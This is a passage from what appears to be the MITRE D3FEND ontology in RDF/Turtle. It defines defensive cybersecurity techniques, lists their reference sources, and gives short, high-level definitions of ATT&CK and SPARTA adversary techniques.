* Records should be maintained concerning maintenance performed, access, and any possible tampering marks or associated incidents.

* For locks operated by a physical key, a key management system should be implemented to manage and secure physical keys.

* Key locks should provide a high degree of resistance to opening by force and tampering techniques.""" ;
    d3f:kb-reference d3f:Reference-GeneralUseOfLocksInTheProtectionAndControlOfFacilitiesRadioActiveMaterialsClassifiedInformationClassifiedMatterAndSafeguardsInformation,
        d3f:Reference-GuideToOTSecurity ;
    d3f:mediates-access-to d3f:ComputerEnclosure ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:mediates-access-to ;
            owl:someValuesFrom d3f:ComputerEnclosure ],
        d3f:PhysicalAccessMediation .

d3f:PointerValidation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pointer Validation" ;
    d3f:d3fend-id "D3-PV" ;
    d3f:definition "Ensuring that a pointer variable has the required properties for use." ;
    d3f:kb-reference d3f:Reference-PointerValidationFunction_SEI ;
    rdfs:subClassOf d3f:SourceCodeHardening .

d3f:Procedure a owl:Class ;
    rdfs:label "Procedure" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:allValuesFrom d3f:Step ;
            owl:onProperty d3f:start ],
        [ a owl:Restriction ;
            owl:onProperty d3f:implements ;
            owl:someValuesFrom d3f:Technique ],
        d3f:Plan .

d3f:ProcessStartFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Start Function" ;
    d3f:definition "A function creates a new computer process, usually by invoking a create process system call." ;
    d3f:invokes d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:Subroutine .

d3f:Provider a owl:Class ;
    rdfs:label "Provider" ;
    d3f:definition "Providers are entities that intentionally offer, supply, or facilitate goods, services, or resources through actions of their agents." ;
    rdfs:subClassOf d3f:Organization .

d3f:ProximitySensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Proximity Sensor" ;
    d3f:definition "A sensor able to detect the presence of nearby objects without any physical contact." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Proximity_sensor> ;
    rdfs:subClassOf d3f:HardwareDevice,
        d3f:Sensor .

d3f:Proxy-basedWebServerAccessMediation a d3f:Proxy-basedWebServerAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Proxy-based Web Server Access Mediation" ;
    d3f:d3fend-id "D3-PBWSAM" ;
    d3f:definition "Proxy-based web server access mediation focuses on the regulation of web server access through intermediary proxy servers." ;
    d3f:kb-article """## How it works

Proxy-based Web Server Access Mediation involves controlling access to web servers via proxy servers, which act as intermediaries between users and web resources. This approach can enhance security by anonymizing user requests, filtering content, and enforcing access policies. Examples include using corporate proxies to access external websites or services.""" ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-41-Revision-1 ;
    rdfs:subClassOf d3f:WebSessionAccessMediation .

d3f:RD-0002 a owl:Class ;
    rdfs:label "Compromise Infrastructure - SPARTA" ;
    d3f:attack-id "RD-0002" ;
    d3f:definition "Threat actors may compromise third-party infrastructure that can be used for future campaigns or to perpetuate other techniques. Infrastructure solutions include physical devices such as antenna, amplifiers, and convertors, as well as software used by satellite communicators. Instead of buying or renting infrastructure, a threat actor may compromise infrastructure and use it during other phases of the campaign's lifecycle." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0002/> ;
    rdfs:subClassOf d3f:SPARTAResourceDevelopmentTechnique ;
    skos:prefLabel "Compromise Infrastructure" .

d3f:REC-0002 a owl:Class ;
    rdfs:label "Gather Spacecraft Descriptors - SPARTA" ;
    d3f:attack-id "REC-0002" ;
    d3f:definition "Threat actors may gather information about the victim spacecraft's descriptors that can be used for future campaigns or to help perpetuate other techniques. Information about the descriptors may include a variety of details such as identity attributes, organizational structures, and mission operational parameters." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0002/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Gather Spacecraft Descriptors" .

d3f:RFShielding a d3f:RFShielding,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "RF Shielding" ;
    d3f:d3fend-id "D3-RFS" ;
    d3f:definition "Adding physical barriers to a platform to prevent undesired radio interference." ;
    d3f:kb-reference d3f:Reference-PrivacyAndSecuritySystemsAndMethodsOfUse,
        d3f:Reference-Technical_Specifications_for_Construction_and_Management_of_Sensitive_Compartmented_Information_Facilities ;
    rdfs:subClassOf d3f:PlatformHardening .

d3f:Reference-AutomaticallyGeneratingRulesForConnectionSecurity_Microsoft a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Automatically generating rules for connection security - Microsoft" ;
    d3f:has-link "https://patents.google.com/patent/US20120054825"^^xsd:anyURI ;
    d3f:kb-abstract "A method and system for creating security policies for firewall and connection policies in an integrated manner is provided. The security system provides a user interface through which a user can define a security rule that specifies both a firewall policy and a connection policy. After the security rule is specified, the security system automatically generates a firewall rule and a connection rule to implement the security rule. The security system provides the firewall rule to a firewall engine that is responsible for enforcing the firewall rules and provides the connection rule to an IPsec engine that is responsible for enforcing the connection rules" ;
    d3f:kb-author "Charles D. Bassett; Eran Yariv; Ian M. Carbaugh; Lokesh Srinivas Koppolu; Maksim Noy; Sarah A. Wahlert; Pradeep Bahl" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:kb-reference-title "Automatically generating rules for connection security" .

d3f:Reference-CNNSI-4009 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Committee on National Security Systems (CNSS) Glossary" ;
    d3f:has-link "https://rmf.org/wp-content/uploads/2017/10/CNSSI-4009.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "[The CNSS Glossary is a jointly curated glossary of terms for National Security Systems by DoD, IC, and Civil Agencies (e.g., NIST)" ;
    d3f:kb-organization "Committee on National Security Systems (CNSS)" ;
    d3f:kb-reference-of d3f:PhysicalAccessMediation ;
    d3f:kb-reference-title "Committee on National Security Systems (CNSS) Glossary" .

d3f:Reference-FirmwareVerificationEclypsium a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Firmware Verification Eclypsium" ;
    d3f:has-link "https://patents.google.com/patent/US20200074086A1/en"^^xsd:anyURI ;
    d3f:kb-abstract "Systems and methods are provided herein for monitoring and identifying potential security vulnerabilities in hardware and / or firmware of host devices ." ;
    d3f:kb-author "Yuriy Bulygin, Oleksandr Bazhaniuk" ;
    d3f:kb-organization "ECLYPSIUM , Inc" ;
    d3f:kb-reference-of d3f:FirmwareVerification ;
    d3f:kb-reference-title "Methods and systems for hardware and firmware security monitoring" .

d3f:Reference-NIST-Special-Publication-800-41-Revision-1 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Special Publication 800-41 Revision 1 Guidelines on Firewalls and Firewall Policy" ;
    d3f:has-link "https://doi.org/10.6028/NIST.SP.800-41r1"^^xsd:anyURI ;
    d3f:kb-abstract "Firewalls are devices or programs that control the flow of network traffic between networks or hosts employing differing security postures. This publication provides an overview of several types of firewall technologies and discusses their security capabilities and their relative advantages and disadvantages in detail. It also makes recommendations for establishing firewall policies and for selecting, configuring, testing, deploying, and managing firewall solutions." ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:Endpoint-basedWebServerAccessMediation,
        d3f:Proxy-basedWebServerAccessMediation,
        d3f:WebSessionAccessMediation ;
    d3f:kb-reference-title "Special Publication 800-41 Revision 1 Guidelines on Firewalls and Firewall Policy" .

d3f:Reference-PasswordandKeyRotation-SSH a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Password and Key Rotation - SSH" ;
    d3f:has-link "https://www.ssh.com/academy/iam/password-key-rotation"^^xsd:anyURI ;
    d3f:kb-organization "SSH" ;
    d3f:kb-reference-of d3f:CertificateRotation,
        d3f:CredentialRotation,
        d3f:PasswordRotation ;
    d3f:kb-reference-title "Password and Key Rotation" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-Remembranceofdatapassed:Astudyofdisksanitizationpractices> a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Remembrance of data passed: A study of disk sanitization practices" ;
    d3f:has-link "https://www.researchgate.net/profile/Simson-Garfinkel/publication/3437324_Remembrance_of_data_passed_A_study_of_disk_sanitization_practices/links/550de6d40cf2128741677d9f/Remembrance-of-data-passed-A-study-of-disk-sanitization-practices.pdf"^^xsd:anyURI ;
    d3f:kb-author "Simson L Garfinkel, Abhi Shelat" ;
    d3f:kb-reference-of d3f:DiskErasure,
        d3f:DiskFormatting,
        d3f:DiskPartitioning ;
    d3f:kb-reference-title "Remembrance of Data Passed: A Study of Disk Sanitization Practices" .

d3f:Reference-SystemAndMethodThereofForIdentifyingAndRespondingToSecurityIncidentsBasedOnPreemptiveForensics_PaloAltoNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method thereof for identifying and responding to security incidents based on preemptive forensics - Palo Alto Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160142424A1"^^xsd:anyURI ;
    d3f:kb-abstract "A system is connected to a plurality of user devices coupled to an enterprise's network. The system continuously collects, stores, and analyzes forensic data related to the enterprise's network. Based on the analysis, the system is able to determine normal behavior of the network and portions thereof and thereby identify abnormal behaviors within the network. Upon identification of an abnormal behavior, the system determines whether the abnormal behavior relates to a security incident. Upon determining a security incident in any portion of the enterprise's network, the system extracts forensic data respective of the security incident and enables further assessment of the security incident as well as identification of the source of the security incident. The system provides real-time damage assessment respective of the security incident as well as the security incident's attributions." ;
    d3f:kb-author "Gil BARAK; Shai MORAG" ;
    d3f:kb-mitre-analysis """This patent describes detecting abnormal behavior related to a security incident by collecting and analyzing forensic data in real time. Forensic data may include:

* URLs visited
* data downloaded or streamed
* messages received and sent
* amount of memory used for processing

The data is then analyzed according to a set of dynamically created rules to determine normal behavior patterns associated with the network or user devices. Anomalies between current behavior and normal behavior patterns trigger an alert.""" ;
    d3f:kb-organization "Palo Alto Networks Inc" ;
    d3f:kb-reference-of d3f:ResourceAccessPatternAnalysis,
        d3f:UserDataTransferAnalysis,
        d3f:WebSessionActivityAnalysis ;
    d3f:kb-reference-title "System and method thereof for identifying and responding to security incidents based on preemptive forensics" .

d3f:Reference-TivoliApplicationDependencyDiscoverManager7_3_0DependenciesBetweenResources a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Tivoli Application Dependency Discovery Manager 7.3.0 - Dependencies between resources" ;
    d3f:has-link "https://www.ibm.com/docs/en/taddm/7.3.0?topic=model-dependencies-between-resources"^^xsd:anyURI ;
    d3f:kb-organization "IBM" ;
    d3f:kb-reference-of d3f:DataExchangeMapping,
        d3f:ServiceDependencyMapping,
        d3f:SystemDependencyMapping ;
    d3f:kb-reference-title "Tivoli Application Dependency Discovery Manager 7.3.0 - Dependencies between resources" .

d3f:Reference-Web-BasedEnterpriseManagement a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Web-Based Enterprise Management" ;
    d3f:has-link "https://www.dmtf.org/standards/wbem"^^xsd:anyURI ;
    d3f:kb-organization "Distributed Management Task Force (DMTF)" ;
    d3f:kb-reference-of d3f:ConfigurationInventory,
        d3f:HardwareComponentInventory,
        d3f:NetworkNodeInventory,
        d3f:SoftwareInventory ;
    d3f:kb-reference-title "Web-Based Enterprise Management" .

d3f:Reference-WhatIsNetworkAccessControl a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - What is Network Access Control?" ;
    d3f:has-link "https://www.fortinet.com/resources/cyberglossary/what-is-network-access-control"^^xsd:anyURI ;
    d3f:kb-abstract "Network access control (NAC), also known as network admission control, is the process of restricting unauthorized users and devices from gaining access to a corporate or private network. NAC ensures that only users who are authenticated and devices that are authorized and compliant with security policies can enter the network." ;
    d3f:kb-organization "Fortinet" ;
    d3f:kb-reference-of d3f:LANAccessMediation,
        d3f:NetworkAccessMediation,
        d3f:RoutingAccessMediation ;
    d3f:kb-reference-title "What is Network Access Control?" .

d3f:Reference-Windows-Management-Infrastructure a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Windows Management Infrastructure (MI)" ;
    d3f:has-link "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wmi_v2/windows-management-infrastructure"^^xsd:anyURI ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:ConfigurationInventory,
        d3f:HardwareComponentInventory,
        d3f:NetworkNodeInventory,
        d3f:SoftwareInventory ;
    d3f:kb-reference-title "Windows Management Infrastructure" .

d3f:Reference-Windows-Management-Instrumentation a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Windows Management Instrumentation (WMI)" ;
    d3f:has-link "https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page"^^xsd:anyURI ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:ConfigurationInventory,
        d3f:HardwareComponentInventory,
        d3f:NetworkNodeInventory,
        d3f:SoftwareInventory ;
    d3f:kb-reference-title "Windows Management Instrumentation" .

d3f:ResamplingEnsemble a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resampling Ensemble" ;
    d3f:d3fend-id "D3A-RE" ;
    d3f:definition "In the method, the small classes are oversampled and large classes are undersampled. The resampling scale is determined by the ratio of the min class number and max class number. And multiple machine learning methods are selected to construct the ensemble" ;
    d3f:kb-article """## References
Ensemble learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Ensemble_learning).

Torgo, L. (2014). A resampling ensemble algorithm for improved accuracy. *Neurocomputing*, 134, 55-66.  [Link](https://www.sciencedirect.com/science/article/pii/S0925231214007644#:~:text=A%20resampling%20ensemble%20algorithm%20is,and%20undersampling%20are%20empirically%20analyzed).""" ;
    rdfs:subClassOf d3f:EnsembleLearning .

d3f:Semi-supervisedWrapperMethod a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Wrapper Method" ;
    d3f:d3fend-id "D3A-SSWM" ;
    d3f:definition "The principle behind wrapper methods is that we train a model with labeled data and then generate pseudo-labels for the unlabeled data using the trained model iteratively." ;
    d3f:kb-article """## References
Jashish, M. (n.d.). Beginner's Guide to Semi-Supervised Learning. Jashish Blog.  [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/).""" ;
    rdfs:subClassOf d3f:Semi-SupervisedLearning .

d3f:ServiceBinaryVerification a d3f:ServiceBinaryVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Service Binary Verification" ;
    d3f:d3fend-id "D3-SBV" ;
    d3f:definition "Analyzing changes in service binary files by comparing to a source of truth." ;
    d3f:kb-article """## How it works
System service applications may originate from the operating system installation or third-party applications installed with administrative privileges. These services have an entry point of some executable file-- a binary or a script. Attackers sometimes modify these executables to launch their own code. Analyzing changes in these files may uncover unauthorized activity.

## Considerations
* These files change for legitimate reasons when the system or software updates.
* The source of truth must not be corrupted in order for this method to work.""" ;
    d3f:kb-reference d3f:Reference-ServiceBinaryModifications_MITRE ;
    d3f:verifies d3f:ServiceApplication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:verifies ;
            owl:someValuesFrom d3f:ServiceApplication ],
        d3f:SystemFileAnalysis .

d3f:SessionToken a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Session Token" ;
    d3f:definition "In computer science, a session identifier, session ID or session token is a piece of data that is used in network communications (often over HTTPS) to identify a session, a series of related message exchanges." ;
    d3f:kb-article """## How it works

Session identifiers become necessary in cases where the communications infrastructure uses a stateless protocol such as HTTP. For example, a buyer who visits a seller's website wants to collect a number of articles in a virtual shopping cart and then finalize the shopping by going to the site's checkout page. This typically involves an ongoing communication where several webpages are requested by the client and sent back to them by the server. In such a situation, it is vital to keep track of the current state of the shopper's cart, and a session ID is one way to achieve that goal.""" ;
    d3f:synonym "Session ID",
        "Session Identifier",
        "Session Token" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Session_ID> ;
    rdfs:subClassOf d3f:AccessToken .

d3f:ShadowStackComparisons a d3f:ShadowStackComparisons,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Shadow Stack Comparisons" ;
    d3f:analyzes d3f:StackFrame ;
    d3f:d3fend-id "D3-SSC" ;
    d3f:definition "Comparing a call stack in system memory with a shadow call stack maintained by the processor to determine unauthorized shellcode activity." ;
    d3f:kb-article """## How it works
This technique compares the call stack stored in system memory with the shadow call stack maintained in the cache memory of the processor.  Mismatches between the two are compared since a return oriented programming attack may only be able to control or spoof the call stack and not the shadow call stack. Mismatches are counted and if the number of mismatches exceeds a certain threshold it is an indication of unauthorized activity and a security response action is performed.

## Considerations
If the threshold for detecting a stack anomaly is low, it may not detect a return-oriented attack with just one gadget, such as a return-to-libc or return-to-plt attack.  Additionally, this technique may not detect JOP (Jump-oriented programming), as the return instruction is not executed.""" ;
    d3f:kb-reference d3f:Reference-ThreatDetectionForReturnOrientedProgramming_CrowdstrikeInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:StackFrame ],
        d3f:ProcessAnalysis .

d3f:SoftwareDeploymentTool a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Deployment Tool" ;
    d3f:definition "Software that coordinates the deployment process of software to systems, typically remotely." ;
    rdfs:subClassOf d3f:ServiceApplication .

d3f:StackComponent a owl:Class ;
    rdfs:label "Stack Component" ;
    d3f:definition "A stack component is any component of a call stack used for stack-based memory allocation in a running process.  Examples include saved instruction pointers, stack frames, and stack frame canaries." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Call_stack> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:StorageImage a owl:Class ;
    rdfs:label "Storage Image" ;
    d3f:definition "A storage image is a complete, encapsulated representation of a storage medium or system environment. It contains all the data, files, and configurations necessary to replicate or deploy a specific system state or software setup." ;
    rdfs:subClassOf d3f:ComputingImage,
        d3f:File .

d3f:SystemConfigurationInitResource a owl:Class ;
    rdfs:label "System Configuration Init Resource" ;
    d3f:definition "A system configuration initialization resource has information for initializing (booting) a system." ;
    rdfs:subClassOf d3f:LocalResource ;
    skos:altLabel "System Init Resource" .

d3f:SystemFirmwareVerification a d3f:SystemFirmwareVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Firmware Verification" ;
    d3f:d3fend-id "D3-SFV" ;
    d3f:definition "Cryptographically verifying installed system firmware integrity." ;
    d3f:kb-article """## How it works
Cryptographic hash values are computed for system firmware. The hash values are compared against precomputed firmware hash values to determine if the firmware has been tampered with.

When system firmware verification fails a set of predefined responses is typically invoked. The responses may direct the system to disable some devices or operations.

## Considerations
* Requires the use of system provided security modules
* Secure hash values will need to be computed for firmware""" ;
    d3f:kb-reference d3f:Reference-FirmwareVerificationEclypsium,
        d3f:Reference-PlatformFirmwareResiliencyGuidelines_NIST ;
    d3f:verifies d3f:SystemFirmware ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:verifies ;
            owl:someValuesFrom d3f:SystemFirmware ],
        d3f:FirmwareVerification .

d3f:SystemInitConfigAnalysis a d3f:SystemInitConfigAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Init Config Analysis" ;
    d3f:analyzes d3f:SystemInitConfiguration ;
    d3f:d3fend-id "D3-SICA" ;
    d3f:definition "Analysis of any system process startup configuration." ;
    d3f:kb-reference d3f:Reference-AutorunDifferences_MITRE,
        d3f:Reference-CAR-2020-09-005%3AAppInitDLLs_MITRE,
        d3f:Reference-CAR-2020-11-001%3ABootOrLogonInitializationScripts_MITRE ;
    d3f:synonym "Autorun Analysis",
        "Startup Analysis" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:SystemInitConfiguration ],
        d3f:OperatingSystemMonitoring ;
    skos:altLabel "System Initialization Configuration Analysis" .

d3f:T1001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Obfuscation" ;
    d3f:attack-id "T1001" ;
    d3f:definition "Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1048 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration Over Alternative Protocol" ;
    d3f:attack-id "T1048" ;
    d3f:definition "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server." ;
    d3f:produces d3f:InternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InternetNetworkTraffic ],
        d3f:ExfiltrationTechnique .

d3f:T1069 a owl:Class ;
    rdfs:label "Permission Groups Discovery" ;
    d3f:attack-id "T1069" ;
    d3f:definition "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1102 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Service" ;
    d3f:attack-id "T1102" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection." ;
    d3f:produces d3f:OutboundInternetWebTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetWebTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1114 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Email Collection" ;
    d3f:accesses d3f:Resource ;
    d3f:attack-id "T1114" ;
    d3f:definition "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Resource ],
        d3f:CollectionTechnique .

d3f:T1127 a owl:Class ;
    rdfs:label "Trusted Developer Utilities Proxy Execution" ;
    d3f:attack-id "T1127" ;
    d3f:definition "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1195 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Supply Chain Compromise" ;
    d3f:attack-id "T1195" ;
    d3f:definition "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise." ;
    d3f:modifies d3f:DigitalArtifact ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:DigitalArtifact ],
        d3f:InitialAccessTechnique .

d3f:T1219 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Access Tools" ;
    d3f:attack-id "T1219" ;
    d3f:definition "An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)" ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1474 a owl:Class ;
    rdfs:label "Supply Chain Compromise - ATTACK Mobile" ;
    d3f:attack-id "T1474" ;
    d3f:definition "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise." ;
    rdfs:subClassOf d3f:ATTACKMobileInitialAccessTechnique ;
    skos:prefLabel "Supply Chain Compromise" .

d3f:T1481 a owl:Class ;
    rdfs:label "Web Service - ATTACK Mobile" ;
    d3f:attack-id "T1481" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    skos:prefLabel "Web Service" .

d3f:T1497 a owl:Class ;
    rdfs:label "Virtualization/Sandbox Evasion" ;
    d3f:attack-id "T1497" ;
    d3f:definition "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:DiscoveryTechnique .

d3f:T1498 a owl:Class ;
    rdfs:label "Network Denial of Service" ;
    d3f:attack-id "T1498" ;
    d3f:definition "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)" ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1521 a owl:Class ;
    rdfs:label "Encrypted Channel - ATTACK Mobile" ;
    d3f:attack-id "T1521" ;
    d3f:definition "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    skos:prefLabel "Encrypted Channel" .

d3f:T1559 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inter-Process Communication" ;
    d3f:attack-id "T1559" ;
    d3f:definition "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern." ;
    d3f:injects d3f:InterprocessCommunication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:injects ;
            owl:someValuesFrom d3f:InterprocessCommunication ],
        d3f:ExecutionTechnique .

d3f:T1565 a owl:Class ;
    rdfs:label "Data Manipulation" ;
    d3f:attack-id "T1565" ;
    d3f:definition "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making." ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1568 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dynamic Resolution" ;
    d3f:attack-id "T1568" ;
    d3f:definition "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control." ;
    d3f:produces d3f:OutboundInternetDNSLookupTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetDNSLookupTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1569 a owl:Class ;
    rdfs:label "System Services" ;
    d3f:attack-id "T1569" ;
    d3f:definition "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ExecutionTechnique .

d3f:T1585 a owl:Class ;
    rdfs:label "Establish Accounts" ;
    d3f:attack-id "T1585" ;
    d3f:definition "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)" ;
